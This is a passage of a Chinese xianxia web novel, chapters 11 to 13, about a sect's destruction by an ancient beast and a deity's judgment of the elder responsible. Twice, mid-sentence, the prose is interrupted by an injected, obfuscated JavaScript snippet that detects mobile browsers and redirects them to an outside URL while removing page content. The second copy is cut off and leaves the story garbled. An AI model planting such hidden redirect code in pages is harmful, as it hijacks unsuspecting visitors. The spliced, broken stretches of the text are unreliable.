一张红色的符箓正贴在冰雕底座上,符文闪烁,散发着诡异光芒。数股黑气正从地底缓缓渗出,缠绕符箓,形成一幅诡异的图案。 “我贴的,好看吗?刚才,我不过是借助这些怨气做了一场戏,把你们心里压抑的情绪发泄出来罢,我哪里想到,原来你们戾气那么大,竟然同室操戈,真是罪过罪过。”洛水一个坏笑,继续道:“你们祖师爷选址不好,非得在一头上古凶兽的骸骨上立派,他元婴始终不能进阶化神,便是受此地凶兽怨气所累。其实这几百年,你们但凡有个人愿意往下探究一下,也该知晓了,更何况后山还有个禁地,你们正道啊,做事就是太过于想当然,没看见的就当作没发生,自食恶果。”洛水说完,楚水眼中闪过一丝惊恐,终于明白一切因果。 “你迟迟不能进阶元婴,也是如此。上古凶兽的怨气早已浸染此地的灵气,平日里汲取倒是无恙,毕竟是亿万年前的东西了,但是怨气常年积累,无法化开,便会与灵气互斥,长久下来,不但修为不长,还会性情大变,嗜杀成性,麻木不仁。”洛水勾勾手指,被束缚的楚水身不由己地跪下,眼中惊惧更甚。洛水俯视着他,继续道:“其实,顾青是你们的破局关键,可惜了,被你们的贪念,自己亲手毁了。” 洛水嘻嘻一笑,就此打住,他蹲下,捏起楚水的下巴,邪魅一笑:“你是不是很想知道为什么顾青是破局关键?可惜,我不想告诉你。”楚水双目赤红,喉头微动,却发不出半点声音。 “好了,种什么因,得什么果,所以,你去死吧。不过,也别想死得那么便宜,我还要你,亲手毁了天山派。”说罢,洛水掏出一张黑色符箓,贴上楚水脑门,随后化为一缕白烟,消失在空气中。 11. 十一、危机四伏 另一头,诸天峰弟子住处已乱成一团,弟子们惊慌失措,议论纷纷。凌悬站在中央,眉头紧锁,不停地问:“找到没有?” “还没有。”被凌悬拦下的弟子惊慌地回答。 “这个混世魔王,到底去哪了!”凌悬焦急万分,凌裴玄失踪的消息如晴天霹雳,上早课时才惊觉他不在,而这偏偏是最不能失踪之人。那可是凌家宗主的唯一嫡传,凌家六位元婴长老的默认亲传弟子。他宁愿是自己不见了,也不能是这个祖宗不见了。 “找,给我去找,但凡有天山派的人拦着不给进的,先动手再说,之后我来赔罪!”凌悬已然近乎癫狂,黄杉杉见状,心中猛地一沉,连忙悄声贴近凌悬耳畔:“昨日有一神秘人,非要与裴玄打赌,赌的正是天山派仙光为何散淡之谜,我虽已阻拦,却怕裴玄他已悄悄赴约。” “什么!你怎么不早说!那人在哪,快带我找他!” “那人,好像是天山派的杂役,就是那日我们在山门看见的那个,穿着金蚕丝长袍的男人。” “是他?”凌悬一下子就想起了那人的脸,那张嬉笑散漫的脸。“无论他是谁,给我……” “裴玄回来啦!裴玄回来啦!”弟子们纷纷转头,只见凌裴玄从远处走来,他此时手拄一根青竹杖,衣衫略显褴褛,脸色苍白如纸,步履蹒跚,但除此之外,并无明显伤痕。凌悬松了一口气,快步上前,一把抓住凌裴玄的肩膀,急切地问:“你去哪了?可有事?” “别,别管我了,师兄,快跑!”凌裴玄喘着粗气,眼神中透着惊恐:“天山派内有古怪,我昨晚被暗算了。”凌悬心头猛地一颤,迅速扫视周围,压低声音急道:“回房,速报长老!” 两人说话之际,一阵地动山摇,震得在场人纷纷跌倒,伴随着阵阵波动,震动似乎有愈演愈烈的趋势。凌悬脸色骤变,一把扶住凌裴玄,大声喊道:“所有人,立即御剑!”众人得令,纷纷拔剑腾空,剑光闪烁,瞬间布满天空。凌悬紧握凌裴玄之手,二人并肩御剑,直冲入云霄。 待众人飞于半空之中,发现天山派连绵山脉依旧在震动,且震源似乎来自主峰深处。凌悬心中愈发不安,低声对凌裴玄道:“此事是否与你昨夜被暗算有关?” “有!那人说,天山派的山脉乃亿万年前凶兽所化,昨日便是他带我去看了凶兽埋于山中的骨架,那骨架怨念不散,那人说天山派气数便是被凶兽怨念影响,才致他们如今不正不邪,拿弟子仙髓炼化以求突破!”凌裴玄说完,凌悬眼中闪过一丝惊骇,沉声道:“若真如此,凶兽怨念不灭,天山派怕是早已坠入魔道!” “师兄,你看!”季浩然焦急地在凌悬身后呼喊,话音未落,数百道光影已从四周的山脉中如潮水般奔涌而来,凌悬心头一紧,暗叫不妙,御动神识探查,发现天山派护山大阵已然消失,定是刚才地震导致的。 “糟了!”凌悬面色凝重,迅速结印,从储物袋内祭出一面铜镜,快速念动口诀,铜镜那头模糊地显出一张脸,凌悬焦急道:“四长老!天山派护山大阵被破,其余门派已经攻了过来,另外,裴玄说天山派山脉乃上古凶兽骨架所化,怨气不散已然影响了天山派众人,如今的天山派可能已经堕入魔道了!” 不知是灵力不稳还是别的原因,铜镜那头始终模糊,但那头的人听见凌悬的描述后,一个坚毅稳重的声音传来:“莫急,先用神识探查,如今天山派是否有怨气外泄?” “你是?” “快探!”这个声音并不是四长老的,但这面镜子是凌家法宝,仅有几位长老和宗主才有,或许是灵气不稳,联系到了另外的长老吧,但无论是哪位,凌悬自然都得遵照命令行事,故而凌悬深吸一口气,凝神运气,神识如潮水般涌出。凌悬的神识深入天山派主峰腹地,只觉怨气如潮,汹涌澎湃,竟在峰顶汇聚成一道漆黑如墨的漩涡,疯狂地浸染着周围的灵气,整个山脉仿佛被一股无形力量扭曲,那股怨气如同巨兽般咆哮,仿佛要将一切生机吞噬殆尽。 凌悬脸色苍白,颤声道:“怨气已成实质,天山派恐难逃此劫!”话音未落,地面骤然裂开,一股黑气喷涌而出,直冲云霄,瞬间将天空染成墨色。 “众人听令,速寻一处开阔平地,即刻布下‘清新明净阵’以抵御怨气,切忌让怨气沾染分毫!不然必会爆体而亡,成为丧尸!”镜中人声有条不紊地发出指令,凌悬得令,立即带着众人迅速往下飞去,寻到了一处较为开阔的平地,迅速布下阵法。 黄杉杉和季浩然动作最快,脚刚触碰到地,便立即掏出符箓贴在四周石头和树干之上,立即御动灵力唤出法阵,众人见此,纷纷加入进来。一瞬间,阵法结成,光芒闪烁,形成一道屏障。众人屏息凝神,感受着阵法内的灵气逐渐稳定,心中稍安。 “全部人,注意从此刻起,不得再汲取灵力!把身上平日里让你们注入多余灵力制作的灵力符拿出来,一旦灵力没了,用灵力符恢复!现下外面全是怨气,一旦汲取,便会万劫不复!”凌悬紧握铜镜,目光如炬,指挥众人有序排列,确保阵法稳固。 “队里可有凌家直系子弟?”铜镜再一次发话,众人的目光齐齐看向凌裴玄。 “有的,是裴玄。”凌悬回答道,铜镜那头沉默片刻,随即传来低沉的声音:“取血,以血为引,开启凌家秘术‘千里缩地’。” 众人面色凝重,凌悬有些为难地说道:“裴玄修为尚浅,仅达筑基之境,恐怕难以驾驭如此高深法术。” “无妨,不需要他的灵力,让他拿出他的凌氏玉碟,盛满一碟他的血即可。”凌裴玄闻言,迅速取出玉碟,咬破手指,鲜血滴入碟中。鲜血仿佛被无形之火点燃,瞬间沸腾起来,玉碟表面绽放出耀眼的金色微光,那光芒如同活物,化作细丝沿着玉碟的精致纹路,优雅而迅速地蔓延开来。就在凌家众人看着玉碟时,又是一阵剧烈晃动,地面裂痕迅速扩大,怨气如潮水般涌出,直扑法阵而来。凌悬大喝一声:“稳住阵法!”众人齐心协力,灵力汇聚,阵法光芒骤然增强,勉强抵挡住黑气的冲击。 “师兄,裴玄晕过去了!”黄杉杉忽然大喊,凌悬心中一句‘不好’,上前查看,只见凌裴玄面如白纸,气息微弱,凌悬一把搭上凌裴玄的脉门,灵力迅速注入,试图稳住他的气息。 “怎么会!”凌悬惊讶道。 “师兄怎么了?” “他,半分灵气都没了,此刻以血引法,虽不用他的法力,但是伤上加伤,他的元神都要涣散了。”凌悬说着赶紧摸出几张灵气符,一下子贴到了凌裴玄的脑门上,符箓刚碰到凌裴玄额头,便立刻化作一整灰,符里的灵气已然被吸干。 “师兄,阵法也得用灵气维持。”季浩然抓住了凌悬还想往凌裴玄脑门上贴灵气符的手,出声提醒。凌悬只觉头痛欲裂,望着凌裴玄滴入玉碟的鲜血愈发迟缓,不禁长叹一声,道:“千里缩地之法不容中断,我将灵气渡予他,稳住他的元神,尔等务必守好阵法。杉杉,再取利刃,多割裴玄两指,加速玉碟召唤,有我法力支撑,应无大碍。但切记,不可伤及他的经脉,他此刻灵力枯竭,一旦经脉受损,元神难保,届时即便存活,修真之路也将断绝!” “明白!”黄杉杉点头。 “引渡也只是维持裴玄元神不散,看好玉碟,不然满盘皆输。”凌悬最后吩咐道,便闭眼开始引渡灵气,双手结印,周身灵力涌动,缓缓注入凌裴玄体内。黄杉杉迅速取刀,小心翼翼地在凌裴玄手指上划过,鲜血再次滴入玉碟,光芒愈发耀眼。众人紧守阵法,灵力不断注入,阵法光芒与黑气激烈交锋。 凌裴玄的气息逐渐平稳,玉碟上的金色纹路愈发清晰,就在此时,众人的地面再一次震动,此次震动比之前几次都要来得更为剧烈,似有地崩天塌之势,众弟子只能御动更多灵力□□法阵,才保住此地未受重创。 “浩然,飞上去看看,到底怎么回事!”凌悬满头大汗,指挥着季浩然。季浩然应声跃起,灵力如光环绕其身,穿透重重黑气,遥见远处山峦崩塌,巨石如滚雷般倾泻,天山派的山脉竟在刹那间被地震彻底摧毁,其上的建筑早已化为乌有。四处都是飞扬起来的尘埃,还有不断涌出的黑气,季浩然还未看清具体情况,只听见不远处,是一阵尖叫和打斗之声,只是那声音被隐于尘埃之内,完全不能看见。季浩然无奈,只能即刻放出神识,穿越尘埃迷雾,探视而去,只见先前随着护山大阵瓦解而闯入的门派弟子,正与某个不明之物激战正酣,四周各色灵光闪烁,不断轰向尘埃中的那团模糊身影,那身影时隐时现,仿佛有形又似无形,疯狂吞噬着灵光,反击之力异常凶猛。季浩然心中一惊,急忙传音回阵:“速备最强防御,有强敌入侵!”话音未落,一道黑影骤然从尘埃中冲出,重重一挥,那几十个门派弟子瞬间被击飞,一堆法宝随着主人一起埋入了尘埃和黑烟之中。 一声凄厉嚎叫随之喷涌而出,气浪之大,直接掀飞了刚才萦绕在此的尘埃和黑雾,就连天空的云层也被震散,露出一片湛蓝。季浩然御动灵力,唤出两层防御,才没被这嚎叫声的气浪掀飞,但仍感心神震颤,他强压惊惧,迅速回身,看向声浪中心。 这一看,季浩然只觉心中惊涛骇浪,那中心竟是一只巨兽,浑身黑鳞闪烁,双目如血,正疯狂吞噬着周围灵力,口中喷出的黑气形成漩涡,仿佛要将整个天地吞噬。那巨兽之大,已无法用言语形容,其身躯遮天蔽日,鳞片在阳光下闪烁着森冷光芒,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116021|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次呼吸都引得狂风骤起,地面龟裂。巨兽的咆哮声震耳欲聋,仿佛能撕裂灵魂,四周的灵力如同被黑洞吸引,疯狂涌入其体内,整个空间都在其威压下颤抖不已。 天山派连绵山脉已被巨兽完全踏碎,残存的建筑碎片四处飞溅,季浩然快速回阵,迅速禀告所见之事,话还未说完,那巨兽的咆哮声再起,竟是感受到了法阵的灵力波动,猛然转头,血目锁定法阵,巨口张开,一道黑炎喷涌而出,直逼阵中。众弟子惊恐失色,全力催动灵力抵抗,法阵光芒骤然暴涨,却仍被黑炎压迫得寸寸龟裂。凌悬怒吼一声,一手继续引渡法力给凌裴玄,一手祭出本命法宝,化作一道金光迎向黑炎,两者相撞,金光与黑炎激烈碰撞,但金光完全无法抵抗,凌悬用尽最后力气,扭转法器,才把黑炎引向一旁,瞬间炸开一片焦土。法阵光芒骤暗,众弟子灵力几近枯竭,纷纷口吐鲜血。 “还有多久……”凌悬语气已全然虚弱,只能看向众人唯一的希望——玉碟。可离鲜血满盏还差一线,玉碟光芒微弱,众人心中绝望。就在此时,凌裴玄忽然恢复一丝清明,猛然咬破舌尖,喷出一口精血洒向玉碟,玉碟光芒骤然大盛,瞬间笼罩整个法阵,形成一幅光幕,与此同时,巨兽的第二次咆哮声震九霄,黑炎再次朝着法阵袭来。 众人纷纷闭上了眼,此时众人已无抵抗之法。就在众人以为自己将在黑炎中灰飞烟灭时,玉碟光幕忽现异象,一个人影于光幕中缓缓浮现,周身环绕着七彩光芒,双手结印,口中念念有词。瞬间,光幕化作一道彩虹,直冲云霄,与巨兽的黑炎激烈碰撞,竟将其化解于无形。人影轻喝一声,彩虹化作万千光箭,射向巨兽,巨兽哀嚎不断,受伤之处喷出更多的黑烟。 “孽畜,你本该亿万年前就已死去,为何怨气不散,荼毒生灵。”人影声音如天籁,却透着无尽威严。 巨兽并不懂人语,只是不断发出低沉的嘶吼,眼中血光更盛,挥动巨爪,试图撕裂飘于半空的人影。 人影不闪不避,双手结印更快,口中咒语愈发急促:“法天象地!”瞬间,天际风云突变,雷霆万钧,人影周身光芒暴涨,化作一尊百丈法相,手持七彩光剑直劈而下,巨兽被光剑笼罩,毫无逃脱之法,只能迎头受击。 这一瞬,七彩光剑穿透巨兽脑壳,巨兽身上黑鳞齐齐竖立,又瞬间炸开,整个肉身化作无数黑烟消散。 “孽畜,还想逃。”百丈法相一声冷喝,七彩光剑化作锁链,将黑烟尽数束缚,法相一掌击出,敲出一道空间裂隙,锁链携黑烟没入虚空,裂隙缓缓闭合,天地间恢复宁静。人影光芒渐敛,百丈法相消散,化为一位身穿蓝白长袍的青年,缓缓落于众人跟前。 青年长得极为俊秀,眉宇间透着一股不怒自威的气势,目光扫过众人,语气温和却坚定:“都没事吧。”众人面面相觑,神色间仍带着心有余悸的惊恐,但更多的是劫后余生的庆幸,纷纷点头示意无恙。凌悬挣扎着站起,随后又跪下,颤声道:“多谢尊上相救。” “尊上?”众人脸色一惊,尊上这个名号,在诸天峰仅有一人,不,仅有一神可以使用。众人虽是诸天峰的弟子,但是无一人真正见过这位传说中的尊上,即便是膜拜尊上神像,也不曾敢抬头直视端详过。凌裴玄的声音一出,众人连忙一同跪下,声音中带着敬畏与感激,齐声大喊:“恭迎尊上!谢尊上救命大恩!”青年微微点头,语气平静:“起来吧,小玄,你强行催动精血,损耗甚重,需静养数月,回头让你爹好好找点好货给你补补。”凌裴玄闻言,嘴角露出一丝苦笑,心中却感温暖。 “你们这趟出来,是谁下的指令?”青年目光看向了凌悬,凌悬急忙回答:“弟子遵四长老之命,前来协助天山派突破元婴瓶颈,未曾料到会遭遇今日之大难。” “小四?他啊。”青年似笑非笑,众人面面相觑,那个平日在诸天峰掌管门派戒条律法,以严苛古板不近人情闻名的四长老,在青年嘴里,竟成了一个‘小四’。众人有些想笑,又不敢笑。 “发一道‘震天玄音’回峰,让诸天峰速速派人来清理此地,虽然我已镇压凶兽,但此地怨气依旧未散,且此次地震波及甚广,需广派人手,去协助周遭村落和城镇,务必让小二和小四都来,必须一日内赶到。”青年说完,双手一摆,一人独自走到一旁,寻了处还算干净的地方,坐下来开始闭眼打坐。 众人再一次面面相觑,下一秒,立刻按照青年所说的指令行动起来,凌悬迅速取出传讯玉简,凝神注入灵力,一道震天玄音直冲云霄,瞬间往诸天峰方向传去。玉简光芒闪烁,灵力波动如涟漪扩散,片刻后,天边隐约传来回应的灵光,显然诸天峰已接收到讯息。众人心中稍安,开始有序地清理现场。 12. 十二、危机过后(一) 凌悬此刻有些难受,不,应该说是非常难受。此刻的他正坐在一间营帐内,不时有弟子端东西进来,从一开始的热水到后来的药草,凌悬都只是机械地接过,机械地礼貌点头回礼。造成凌悬如此难受的原因并非他此刻灵力枯竭,也不是□□上受的伤,而是此刻营帐内,正整整齐齐地坐着一位化神尊上,三位长老,就连凌家宗主,也端坐其中,压力成倍增加。 上一次看到诸天峰人那么齐,还是十年前宗门大庆,平日里他见得更多的是坐于一旁的四长老,而四长老身边,还有二长老和五长老。诸天峰实行的是百年轮值制度,一长老一宗主是不变的管理结构,而长老一百年轮换一位。宗主亦是凌家家主,主要负责管理门派日常事务,比如宗门资源的调配、与其他宗门的交流等,而长老则负责指导培养,树立门规,监督纪律,以及决定一些重要大事。非自己轮值任期的长老,大多都只在自己的洞府内闭关修炼,鲜少露面。 谁曾想,自己有朝一日,还能看到三位长老连同宗主,与尊上齐聚一堂,在场所有人脸色都不好看,气氛凝重如冰,除了坐于正中央的化神尊上,他此刻跷着二郎腿,一只手扶着下巴,另一只手轻敲桌面,闭着双眼,满是悠闲神色。 ‘求求了,来个人,说点什么吧’凌悬只觉得自己心跳如鼓,口干舌燥,想拿起茶盏喝一口茶都不敢,毕竟座上那几天都未有动作。 “人好久没那么齐了。”尊上先开了口,停下手中动作,缓缓睁眼。 “呃,确实。”二长老率先回应,脸上略显尴尬。 “裴玄如何?醒过来了吗?”尊上的眼神望向宗主凌不羁,凌不羁急忙回答:“禀告尊上,已醒,正在帐外等着您传话。” “那让他进来吧。”尊上点点头,凌不羁急忙对身边侍童传令,侍童得令,快速出了帐,不一会,凌裴玄由黄杉杉扶着缓步走入帐内,面色十分苍白。 “坐吧,裴玄,也有好几年不见了,没想到都已是少年模样。”尊上微微一笑,目光柔和。 “谢尊上夸奖。”凌裴玄鞠躬作礼,声音虚弱沙哑,凌不羁望向凌裴玄的目光中满是忧虑,却只是轻咳两声,又啜了口茶,试图平复内心的波澜。 “来,把你们收集到的东西,都拿出来吧,我们一同探讨下,这天山派到底是因何陨灭的。”尊上的话刚说完,帐内气氛骤然紧张,二长老最先拿出一张已毁了大半的黑色符箓,二长老催动灵力,符箓悠悠飘于众人中间,使得众人都能看清此符箓。 “此符箓,是我从天山派主峰顺着怨气找到的。在主峰怨气最深的地方,我看到了一具黑色的人形骸骨,以及这张贴在他额头的符箓。此符箓乃魔道用以吸取怨气的秘宝,其上咒文老旧,而今魔道中人大多舍弃此咒,皆因其力量凶烈不稳且易噬主,难以驾驭。想来天山派众人定是受魔道之人迫害而死,废墟中有几具残缺的尸体,看他们的伤口,竟是互相博弈后留下的,想来是生前受魔道怨气侵扰,乱了心智,从而互相残杀。”二长老说话间,又掏出了四面阵旗,继续道:“天山派全然已毁,但在主峰不远处的一处废墟中,我感应到了结界的波动,过去一看,竟有一座小屋并未损毁,究其原因,正是这四面阵旗护住了那房子。那屋中还有一小哑巴,吓得够呛,此刻还在下面定神,等她神智稳定些,我再带来给尊上问话。” 二长老将阵旗推向中央,与符箓并列,众人目光聚焦其上。阵旗上灵气流转,隐约可见古老符文闪烁。五长老接过话:“这阵旗倒是没有任何魔道气息,不过看样式,也有许久了,大约两千年前我见过类似的,没想到如今还能看到这种样式的阵旗。” “可有何不妥?”四长老问道。 “并无不妥,就是许久未见过这样的老样式了,感叹一声。”五长老的回答让二、四长老的脸一沉,却引得尊上哈哈大笑。 “看来这两样器物的主人,也是上了年纪的。除此以外,还有何发现?”尊上收起了笑,语气温和。 “我一来此地便用束灵阵锁住了天山派地界,还在天山派主峰抓了几个魂魄,只是这几个魂魄被怨气浸染极重,记忆已残缺不连贯,我虽尽力修补,但亦不能完全展示,尊上如有兴趣,可直接通灵窥视一二。”四长老说话间,从袖口下掏出一个布袋,那布袋上密密麻麻的全是咒文,四长老轻扯布袋口,几缕幽魂缓缓飘出,带着脆弱的光芒,在空中飘荡。 “这个稍后再看。裴玄,听凌悬说,今日之事你可能知道一些内情,你把你见到的说一下吧。”尊上绕过了四长老,眼神扫向凌裴玄,凌裴玄深吸一口气,缓缓开口:“我昨日与一人,在天山派山脉下发现了一具上古凶兽的骸骨,那人说此凶兽已使得天山派灵气被怨气浸染,故而使得天山派众人作出魔道那般的下作之事,那人说自己正是被天山派剥下仙髓的苦主,还说天山派炼化那么久的仙髓也无法进阶元婴,正是因为此地灵气早已不正不邪导致。” “小四,此次任务是你派凌悬他们来的,是吗?”尊上眼神从凌裴玄身上又转到了四长老身上,四长老点头:“正是。” “为何派遣他们来这协助?你可知天山派拿自己弟子仙髓炼化来突破元婴这事?” “天山派虽不是名门大派,但他们的祖师爷与诸天峰有几分交情,当年他们祖师爷无法进阶化神,最后大限一到身死道消,死前托我照看一二,故而那日天山派掌门修书请诸天峰来此守山几日,目的是镇吓外头那些门派,避免他们在天山派进阶元婴时来抢夺。我初时以为不过是举手之劳,未曾深究便草率行事,未料其中竟有如此曲折,实乃我之疏忽。”四长老的回话谦卑之中带着几分懊悔,尊上微微点头,目光深邃:“这种事,一贯都是不羁处理的,即便是修书与你,你又何必派遣你的亲传弟子凌悬来。镇吓门派这种事,诸天峰随便点几个人,拿着凌家家旗,我想谁家都会给点面子的吧。还把裴玄也带上了,不羁你知道这个安排吗?” “回叔伯,那几日我有事外出不在派里,故而大小事宜都托给了四长老,携裴玄同行,原是欲借此机会令其历练成长,四长老的安排不无不妥,谁料天山派竟为私欲,行此剥髓炼怨之恶行。这事怪不得四长老,即便四长老本事再大,也不能剖开天山派掌门的心瞧一瞧有多黑呀。”凌不羁起身为四长老解释。 尊上倒是不急着回答,而是又把目光放回凌裴玄身上,说道:“裴玄,那人可有留下些什么东西?” “有的!”凌裴玄说完,从自身储物袋中,唤出两件物品,一袭青色长袍,一颗赤红色珠子。尊上看见这两样东西,身形一动,瞬间闪现于凌裴玄面前,一把抓过那袭青色长袍,刚才的和悦神色全无,只剩下满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那人说这是避尘珠,给我日后猎灵用。”凌裴玄说完,尊上凝视珠子良久,缓缓道:“避尘珠,净化邪祟瘴气,实为猎灵至宝。世人所用辟邪珠,皆为其仿制品,一旦邪祟之力超出其限,便化尘而散。你这避尘珠,相传由天下第一工匠神赤炎亲手炼制,历经万载而不衰,除了驱邪避凶,亦能当作法宝杀敌,关键时刻吞入,还能有起死回生之效。他赔的礼,有够重的,这珠子怕是连天界都难寻其二。不羁,你儿子的仙缘,可比你强多了。”尊上把珠子塞回凌裴玄手中,随口驱动法力,祭出一根赤色长棍。那长棍两头雕有龙纹,中间嵌着一颗夜明珠,光芒四射。尊上手持长棍,轻轻一挥,空气中顿时涌起一股炽热气流,地面也随之微微震动。他转头对凌裴玄道:“此棍名为‘焚天’,与避尘珠相辅相成,日后你修炼时,可借助其威能。” “尊上,怎可……”凌不羁脸上带着惊惧,但是心里又乐开了花。 “我用它,换你这件衣服可好。焚天大概也能换个四五万上等灵石。”尊上的话一出,众人冷汗直冒,化神尊者的法宝,何止是四五万上等灵石,再多上十倍也是不够。凌不羁赶忙上前说:“尊上怎可这般客气,你要便拿去就好,无须再给他法宝了。” “我问的是他,又没问你,这衣服又不是你的,多什么嘴。”尊上说完,诚恳的双眼再对上凌裴玄,凌裴玄一愣,缓了好一会才说:“好。” 尊上微微一笑,手指一挥,焚天落入凌裴玄手里,衣服被收进储物袋。尊上摆了摆手,说道:“看了这些,我心中大致能猜出个一二了,先让这些年轻的下去休息吧,今天遇到的事,元婴修士都未必能轻松应对,偏偏让他们撞上了。”凌裴玄几个年纪小的,做了个礼退了下去,其余几人看着尊上的脸色,让身边的侍童也一并退下,帐内只余下五人。 “青鸟,你好大的胆子!”尊上冷笑一声,目光如电直射四长老,青鸟正是四长老本名,这一声喝问,让四长老脸色骤变,冷汗涔涔。 “尊上息怒!”众人齐齐下跪,四长老颤声回应:“青鸟知错,但错在何处,还请尊上指教。” 13. 十三、危机过后(二) “你自己心知肚明,我早已下令,不得再在人界以正道之名,摧毁天然怨气穴窝,可这些年下来,魔道被你逼得再无天然怨气助修,只能用残杀生灵的方式催生怨魂以取怨魂之怨气修炼,这些年魔道行事风格越发偏激,杀人之数较之以往更盛,你难道不觉得你也该负上一份责任吗!”尊上双眸一闭,脸上全是失望之色。尊上的话语如寒冰刺骨,字字句句穿透心扉,让在场的每一个人都无法回避。 “尊上明鉴,我所做之事,都是为了正道之未来,保人间之太平!”青鸟的声音带着一丝颤抖,眼眶泛红,但她的语气却异常坚定:“自古正邪如水火不容,魔道,理应被彻底铲除!” “灵气怨气本为一体,如同有生必有死,如若没有魔道消耗怨气,会导致什么样的结果,在场还有谁不知道?六百年前无垢城的血腥一夜都忘了是吗?”尊上沉默片刻,缓缓道:“正道虽是天下正气所系,但若因此而忽视了天地人之平衡,那便是自取灭亡之道。正魔之辨,非仅是力量的较量,更是理念的博弈。如若正道只知杀伐,不思平衡,终将导致自生怨气,反噬其身,这和你嘴里要讨伐的魔道又有何异?” “尊上,四妹她并非故意打压魔道,只是那魔头殒落后,魔道群龙无首,那魔头座下五妖为报血仇在九州横行,魔道的猖獗较之过往更甚,如若年年与魔道拼杀,不知各大宗派还要死伤多少弟子,故而四妹提议遏制怨气源头,此议经众长□□商后定夺。或许我等行事稍过,引得魔道行径愈劣,然……”二长老急忙解释,但尊上举手打断,深深叹了口气:“她安的什么心,还能瞒得过我?” “邪神洛水已死多年,你们都忌惮他再现于世,这么多年我也未曾阻拦过你们的调查,但是我警告过,调查归调查,不得对怨气穴窝动手。而如今,九州怨气穴窝竟稀少至此,天山派为何在上古凶兽残骸上建派,想必是觉得此地仍是正派管辖地域,又无明显怨气溢出,便立了下来。原本,正道可以再多一位元婴强者,如今天山派的下场如何?”尊上的手指向场中央那残缺的黑色符箓,厉声喝道:“这仅仅只是一张普通的怨气聚念符,当初这样的符只能用来制作血尸,如今,却能直接唤醒上古凶兽,再造凶兽血肉,如若今日不是我闲来无事,瞧了一眼凌家镜,即便是你们,对上这凶兽也得负伤累累。凶兽如此凶悍,究其原因,正是因为这怨气聚念符竟吸来了过于蓬勃的怨气,怨气无魔道消化,便会深入地脉潜藏凝炼,今日是这只凶兽,如若怨气在地脉下积攒过多,自然孕育出一个不受控的新魔头,届时你们又该如何!”尊上的话语让在场的每个人心中都是一震,二长老低下了头,青鸟眼中的泪终是流了出来,语气有些不甘地说道:“青鸟知错,请尊上处罚!” “即日起,青鸟立即闭关,剥夺三百年修行,五百年内不得再参与长老轮值,如今所有长老事务,均交予小二执行。今日老大、小三、小六都不在,我再重申最后一次,如若再借正道之名,摧毁怨气穴窝,我必会再次下凡,亲自让犯事者重回筑基。”尊上话音一落,双眼冒出金光,青鸟立即痛苦哀号,只见青鸟周深泛出一丝丝青色条状光芒,尊上伸手一抽,拿去了三条,手中用劲,青色光芒顷刻化为尘埃,青鸟身体一软,倒在了地上。尊上转身,背对着众人,语气沉稳而决绝:“我已到时间返回天界,你们,好自为之。”尊上一声冷哼,一道夺目七色光束自天上射下,只一瞬,尊上身影已无踪迹。这一下,引得在场所有凌家弟子纷纷下跪,大喊着:“恭送尊上!” 许久,二长老才抬起头,脸色凝重,默默扶起了青鸟,抬头望向天空,又重重地叹了一口气,大声喊道:“收拾东西,回峰!” 自离开天山派,已有百日,这期间洛水一直藏于一处深山洞穴之中。这洞穴极为普通,没有任何的灵气怨气,蛇虫鼠蚁倒是不少,还有些臭。这本是一头即将冬眠的熊的巢穴,但被洛水雀占鸠巢了,如今那熊还在门口徘徊,犹豫着是否要回自己的家,但野兽的本能又感知到霸占自己老巢的是个不好惹的,熊便从主人沦落为了守卫,日日在洞口徘徊。 洛水一入洞,便立刻设下了防御结界,马不停蹄地立刻开始运气打坐,探查自身情况。刚来的几日,洛水只觉自己的元神有些波动,法力有些不稳,待静心吐纳了几日,洛水发现,束缚于元神之上的诅咒已经全然消散,这也就意味着,他与顾青的契约已经彻底完成。 洛水的内心涌起一股复杂的情感,既有解脱之感,又夹杂着些许不舍。“值得吗,为了这些人,无法再入轮回。不过这样也好,日后便做世间的一阵风罢,无论如何,都能自由随心。”洛水默默在心里念道。 当顾青的事完结,那对于洛水而言,如今的目标只剩下了一个——修仙。自那日冰凌圣根被重新按回身体后,洛水便发现,身体中那个漏风的缺口被堵上了,如今洛水也能通过汲取周遭灵气来豢养自身元神了。然而,冰凌圣根因仓促融入体内,其愈合状况并不理想,洛水知晓,若想让冰凌圣根完全与身体融合,还需进一步的修炼与调养,故而一直躲在这熊洞中不出。 在此期间,洛水还发现,冰凌圣根被注入了过多的灵力。这些灵力未被冰凌圣根完全吸收,却恰好满足了洛水重塑修为的需求,这些灵力来自哪洛水心知肚明,心里一笑,他们的努力,如今已全然为我所用,修真界一直以为奉为圣理的那句‘一步错,步步错’,在此刻更显含金量。 凭借着冰凌圣根的灵力,洛水快速地从炼气期进入筑基期,并且在数十日内,连续突破至筑基后期,待洛水再睁眼,此时已过百日,洛水的修为已经稳固在了筑基后期,这意味着他离结丹只差一步之遥。冰凌圣根存储的灵气仍有不少,足够支撑洛水进阶结丹,但洛水还是停下了步伐。 这日,他走出了洞口,呼吸了几大口新鲜空气,洞口那只熊一见他,立刻飞奔而逃,洛水也不追,只是站在原地,御动全身灵力,洛水感受到体内灵力流转,如同江河奔腾,气势磅礴。随后感念着灵力的方向,双指一挥,一道寒气从指尖激射而出,将远方的一块巨石瞬间冰封。 洛水笑了笑,但是笑容有些无奈,他看着自己的手,感叹道:“果真如此啊。”洛水的感叹,源于此刻的法术,这百日里,洛水发现冰凌圣根的灵气流转十分陌生,与自己之前修炼之道完全不同。如今试用法术,洛水彻底确定,如今的这具身体,所用法术是水系和冰系。曾经的他,所用的法术是土系和金系,可以说如今的法术对于洛水而言,是十全十的陌生。 